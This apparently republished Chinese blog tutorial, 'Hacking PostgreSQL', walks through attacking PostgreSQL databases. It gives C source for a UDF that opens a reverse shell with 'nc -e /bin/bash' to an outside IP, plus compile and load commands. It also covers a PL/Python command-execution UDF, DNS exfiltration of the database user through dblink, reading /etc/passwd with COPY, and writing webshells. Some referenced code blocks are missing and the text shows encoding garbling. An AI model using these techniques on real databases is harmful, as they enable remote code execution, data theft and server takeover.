Hacking PostgreSQL
Ricter · 2015/06/04 10:16
這篇文章主要講解了如何 Hacking PostgreSQL 數(shù)據(jù)庫(kù),總結(jié)了一些常用方法。
0x01 SQL 注入
大體上和 MySQL 差不多,有一些變量不一樣。具體就不再舉例,可以看這篇總結(jié):PostgreSQL SQL Injection Cheat Sheet。
此外,利用 sqlmap 也是一個(gè)不錯(cuò)的方式。
0x02 執(zhí)行命令
C
sqlmap 給出的幾個(gè) UDF 在我本地測(cè)試并不成功,所以最好的方法是自己編譯一個(gè)動(dòng)態(tài)鏈接庫(kù)。
根據(jù)官方文檔,我們要定義一個(gè) PG_MODULE_MAGIC。在 PostgreSQL 這個(gè)是為了 Postgresql 的安全機(jī)制(大概?),在 8.2 以后需要驗(yàn)證這個(gè) magic block,不然,在加在動(dòng)態(tài)鏈接庫(kù)的時(shí)候會(huì)報(bào)錯(cuò):
執(zhí)行系統(tǒng)命令的動(dòng)態(tài)鏈接庫(kù)源碼為:
#!c++ #include "postgres.h" #include "fmgr.h" #include <stdlib.h>#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endiftext *exec() {system("nc -e /bin/bash 10.211.55.2 9999"); } 復(fù)制代碼利用如下命令編譯 .so 文件:
#!bash gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so 復(fù)制代碼在 pgsql 里執(zhí)行:
#!sql CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/1.so', 'exec' LANGUAGE C STRICT; select exec(); 復(fù)制代碼監(jiān)聽的 9999 端口得到一個(gè) shell:
Python
默認(rèn) PostgreSQL 不會(huì)安裝 Python 的擴(kuò)展,在 Ubuntu 下可以通過:
#!bash apt-get install postgresql-plpython-9.1 復(fù)制代碼進(jìn)行安裝,除了 python 的擴(kuò)展,還有 sh、perl、ruby 等等。
安裝完成后,首先是創(chuàng)建一個(gè) UDF 來執(zhí)行我們要執(zhí)行的命令:
其中的 plpython2u 可以利用如下語(yǔ)句獲取:
select * from pg_language; 復(fù)制代碼我們可以根據(jù)返回來判斷利用哪個(gè)語(yǔ)言(plpython2u、plpythonu、plpython3u 等等)。
創(chuàng)建好 UDF 后,直接調(diào)用如下語(yǔ)句即可:
#!sql select system('ls -la'); 復(fù)制代碼此外,sh、ruby 等同理,可以參考官方文檔來寫一個(gè) UDF。
文檔地址:www.postgresql.org/docs/8.2/st…
0x03 DNS 請(qǐng)求獲取數(shù)據(jù)
同樣的,PostgreSQL 可以通過 DNS Request 一樣獲取數(shù)據(jù),在盲注的情況下。用到的一個(gè)擴(kuò)展叫做 dblink,可以通過如下命令開啟:
#!sql CREATE EXTENSION dblink 復(fù)制代碼接著運(yùn)行如下語(yǔ)句,獲取當(dāng)前數(shù)據(jù)庫(kù)用戶名稱:
#!sql SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT); 復(fù)制代碼遠(yuǎn)程獲取到請(qǐng)求內(nèi)容:
0x04 讀寫文件
讀
PostgreSQL 讀取文件雖然有些蛋疼,但是還是可以讀取的:
#!sql CREATE TABLE temptable(t text); COPY temptable FROM '/etc/passwd'; SELECT * FROM temptable limit 1 offset 0; 復(fù)制代碼讀取結(jié)束后:
#!sql DROP TABLE temptable; 復(fù)制代碼寫
寫文件分為兩個(gè)部分,一個(gè)是寫 webshell,另外一個(gè)是寫二進(jìn)制文件。
寫 webshell 十分簡(jiǎn)單,利用:
即可寫一個(gè)文件。
根據(jù)瘋狗的這一篇帖子:zone.wooyun.org/content/497…,說是可以利用 PostgreSQL 的“大對(duì)象數(shù)據(jù)”來寫,但是我測(cè)試是失敗的。報(bào)錯(cuò)如下:
用 COPY 的 FORMAT 位 binary 來寫文件的話,會(huì)被 PostgreSQL 加上幾個(gè)字節(jié),導(dǎo)致不能識(shí)別為 ELF 文件。
實(shí)際上,閱讀官方文檔可知,寫的文件每一頁(yè)不能超過 2KB,所以我們要把數(shù)據(jù)分段:
其中每一段都要小于等于 2KB,這樣就可以成功寫入:
0x05 XXE
老版本的 PostgreSQL 存在 XXE 漏洞。具體可以看這篇文章:PostgreSQL (all) error-based XXE 0day。
大體就是執(zhí)行語(yǔ)句:
可以獲取一些數(shù)據(jù),也可以進(jìn)行 SSRF 等。不過因?yàn)槟甏芫?#xff0c;可能很多都修復(fù)過了,所以作為一個(gè)保留方案,可能會(huì)有意外的驚喜。
參考
最后,如有錯(cuò)誤請(qǐng)不吝賜教。
總結(jié)
以上是生活随笔為你收集整理的Hacking PostgreSQL的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SteamVR追踪技术有多火? 半数开发
- 下一篇: vs2010 问题 LINK : fat